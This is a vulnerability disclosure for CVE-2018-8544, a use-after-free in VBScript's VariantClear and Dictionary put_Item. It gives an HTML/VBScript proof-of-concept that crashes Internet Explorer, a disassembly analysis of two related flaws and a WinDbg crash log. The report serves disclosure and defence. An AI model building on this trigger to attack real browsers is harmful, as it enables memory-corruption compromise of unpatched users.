Microsoft VBScript OLEAUT32!VariantClear / scrrun!VBADictionary::put_Item Use-After-Free

`vbscript: use-after-free in OLEAUT32!VariantClear and scrrun!VBADictionary::put_Item   
  
CVE-2018-8544  
  
  
There is a use-after-free vulnerability (possibly two vulnerabilities triggerable by the same PoC, see below) in Microsoft VBScript. The vulnerability has been confirmed in Internet Explorer on Windows 7 with the latest patches applied.  
  
PoC:  
(Note that Page Heap might need to be enabled to observe the crash.)  
  
===============================================================================  
  
<!-- saved from url=(0014)about:internet -->  
<meta http-equiv="x-ua-compatible" content="IE=10">  
<script type="text/vbscript">  
  
Class class2  
Private Sub Class_Terminate()  
var17.RemoveAll  
End Sub  
End Class  
  
Set var17 = CreateObject("Scripting.Dictionary")  
Set var17.Item("foo") = new class2  
var17.Item("foo") = 1  
  
</script>  
  
===============================================================================  
  
Preliminary Analysis:  
  
1st issue: In OLEAUT32!VariantClear, if the Variant is an object, the object destructor is going to be called and immediately after that the variant type is going to be (un)set. However, the object destructor can call attacker-controlled VBScript and the memory holding the Variant could be freed, as demonstrated by the PoC. This is also visible in the following snippet of code taken from the 64-bit version of OLEAUT32!VariantClear:  
  
000007fe`ff0c11d3 ff5010 call qword ptr [rax+10h]  
000007fe`ff0c11d6 66892f mov word ptr [rdi],bp ds:00000000`0486cfd8=????  
  
2nd issue: Even if the 1st issue was fixed, the PoC would still trigger another issue, which is that VBADictionary::put_Item calls VariantCopy immediately after VariantClear in order to set the new value in the dictionary. If VariantClear deletes the memory containing the variant (as demonstrated earlier), VariantCopy is going to access the freed memory. This is visible in the following snippet of code from VBADictionary::put_Item:  
  
000007fe`f08bd48a ff15200d0100 call qword ptr [scrrun!_imp_VariantClear (000007fe`f08ce1b0)]  
000007fe`f08bd490 488bd7 mov rdx,rdi  
000007fe`f08bd493 488bcb mov rcx,rbx  
000007fe`f08bd496 ff151c0d0100 call qword ptr [scrrun!_imp_VariantCopy (000007fe`f08ce1b8)]  
  
Debug log:  
  
===============================================================================  
  
(c08.4a4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00000009 ecx=0b93ffb8 edx=00a61078 esi=080e2fe8 edi=00000009  
eip=759c3f3a esp=0a34b6bc ebp=0a34b6c8 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
OLEAUT32!VariantClear+0xdb:  
759c3f3a 668906 mov word ptr [esi],ax ds:002b:080e2fe8=????  
  
0:008> r  
eax=00000000 ebx=00000009 ecx=0b93ffb8 edx=00a61078 esi=080e2fe8 edi=00000009  
eip=759c3f3a esp=0a34b6bc ebp=0a34b6c8 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
OLEAUT32!VariantClear+0xdb:  
759c3f3a 668906 mov word ptr [esi],ax ds:002b:080e2fe8=????  
  
0:008> k  
# ChildEBP RetAddr   
00 0a34b6c8 7347329a OLEAUT32!VariantClear+0xdb  
01 0a34b6e4 6b2d6ef5 IEShims!NS_ATLMitigation::APIHook_VariantClear+0x5d  
02 0a34b72c 759dcc43 scrrun!VBADictionary::put_Item+0x7e  
03 0a34b74c 759dcabd OLEAUT32!DispCallFunc+0x165  
04 0a34b7dc 6b2d4d25 OLEAUT32!CTypeInfo2::Invoke+0x23f  
05 0a34b80c 6c449b2d scrrun!VBADictionary::Invoke+0x5a  
06 0a34b850 6c449a5e vbscript!IDispatchInvoke2+0xbf  
07 0a34b888 6c450040 vbscript!IDispatchInvoke+0x55  
08 0a34baa4 6c449171 vbscript!InvokeDispatch+0x2c0  
09 0a34bacc 6c423ea1 vbscript!InvokeByName+0x48  
0a 0a34bbe4 6c425d5e vbscript!CScriptRuntime::RunNoEH+0x2d4e  
0b 0a34bc34 6c425c7b vbscript!CScriptRuntime::Run+0xc3  
0c 0a34bd44 6c44e888 vbscript!CScriptEntryPoint::Call+0x10b  
0d 0a34bda8 6c42642b vbscript!CSession::Execute+0x12b  
0e 0a34bdf8 6c42bc88 vbscript!COleScript::ExecutePendingScripts+0x14f  
0f 0a34be74 6c42d1b9 vbscript!COleScript::ParseScriptTextCore+0x2a4  
10 0a34bea0 6d8f69d4 vbscript!COleScript::ParseScriptText+0x29  
11 0a34bed8 6d85fc3b MSHTML!CActiveScriptHolder::ParseScriptText+0x51  
12 0a34bf48 6d46de92 MSHTML!CScriptCollection::ParseScriptText+0x1c6  
13 0a34c034 6d46da6d MSHTML!CScriptData::CommitCode+0x31e  
14 0a34c0b4 6d46e5ac MSHTML!CScriptData::Execute+0x232  
15 0a34c0d4 6d88f214 MSHTML!CHtmScriptParseCtx::Execute+0xed  
16 0a34c128 6d2d54fd MSHTML!CHtmParseBase::Execute+0x201  
17 0a34c144 6d2d4f2f MSHTML!CHtmPost::Broadcast+0x182  
18 0a34c27c 6d31f3ed MSHTML!CHtmPost::Exec+0x617  
19 0a34c29c 6d31f353 MSHTML!CHtmPost::Run+0x3d  
1a 0a34c2b8 6d3268de MSHTML!PostManExecute+0x61  
1b 0a34c2cc 6d327ae8 MSHTML!PostManResume+0x7b  
1c 0a34c2fc 6d301859 MSHTML!CHtmPost::OnDwnChanCallback+0x38  
1d 0a34c314 6d25d4a5 MSHTML!CDwnChan::OnMethodCall+0x2f  
1e 0a34c364 6d25cfcc MSHTML!GlobalWndOnMethodCall+0x1a1  
1f 0a34c3b8 762a62fa MSHTML!GlobalWndProc+0x103  
20 0a34c3e4 762a6d3a user32!InternalCallWinProc+0x23  
21 0a34c45c 762a77c4 user32!UserCallWinProcCheckWow+0x109  
22 0a34c4bc 762a788a user32!DispatchMessageWorker+0x3b5  
23 0a34c4cc 7358ab7c user32!DispatchMessageW+0xf  
24 0a34f69c 735f75f8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464  
25 0a34f75c 76606b7c IEFRAME!LCIETab_ThreadProc+0x3e7  
26 0a34f774 73473a31 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c  
27 0a34f7ac 75d6343d IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94  
28 0a34f7b8 77129832 kernel32!BaseThreadInitThunk+0xe  
29 0a34f7f8 77129805 ntdll!__RtlUserThreadStart+0x70  
2a 0a34f810 00000000 ntdll!_RtlUserThreadStart+0x1b  
  
0:008> !heap -p -a 080e2fe8  
address 080e2fe8 found in  
_DPH_HEAP_ROOT @ a61000  
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)  
de00270: 80e2000 2000  
742990b2 verifier!AVrfDebugPageHeapFree+0x000000c2  
771c180c ntdll!RtlDebugFreeHeap+0x0000002f  
7717a8fe ntdll!RtlpFreeHeap+0x0000005d  
77122c45 ntdll!RtlFreeHeap+0x00000142  
749898cd msvcrt!free+0x000000cd  
6b2d62ee scrrun!VBADictNode::`scalar deleting destructor'+0x00000019  
6b2d61d2 scrrun!VBADictionary::RemoveAll+0x0000004f  
759dcc43 OLEAUT32!DispCallFunc+0x00000165  
759dcabd OLEAUT32!CTypeInfo2::Invoke+0x0000023f  
6b2d4d25 scrrun!VBADictionary::Invoke+0x0000005a  
6c449b2d vbscript!IDispatchInvoke2+0x000000bf  
6c449a5e vbscript!IDispatchInvoke+0x00000055  
6c450040 vbscript!InvokeDispatch+0x000002c0  
6c449171 vbscript!InvokeByName+0x00000048  
6c423dcd vbscript!CScriptRuntime::RunNoEH+0x00002c7a  
6c425d5e vbscript!CScriptRuntime::Run+0x000000c3  
6c425c7b vbscript!CScriptEntryPoint::Call+0x0000010b  
6c4361cc vbscript!VBScriptClass::TerminateClass+0x000000a9  
6c456cc7 vbscript!VBScriptClass::Release+0x00000030  
759c49fb OLEAUT32!VariantClear+0x000000cf  
7347329a IEShims!NS_ATLMitigation::APIHook_VariantClear+0x0000005d  
6b2d6ef5 scrrun!VBADictionary::put_Item+0x0000007e  
759dcc43 OLEAUT32!DispCallFunc+0x00000165  
759dcabd OLEAUT32!CTypeInfo2::Invoke+0x0000023f  
6b2d4d25 scrrun!VBADictionary::Invoke+0x0000005a  
6c449b2d vbscript!IDispatchInvoke2+0x000000bf  
6c449a5e vbscript!IDispatchInvoke+0x00000055  
6c450040 vbscript!InvokeDispatch+0x000002c0  
6c449171 vbscript!InvokeByName+0x00000048  
6c423ea1 vbscript!CScriptRuntime::RunNoEH+0x00002d4e  
6c425d5e vbscript!CScriptRuntime::Run+0x000000c3  
6c425c7b vbscript!CScriptEntryPoint::Call+0x0000010b  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: ifratric  
  
`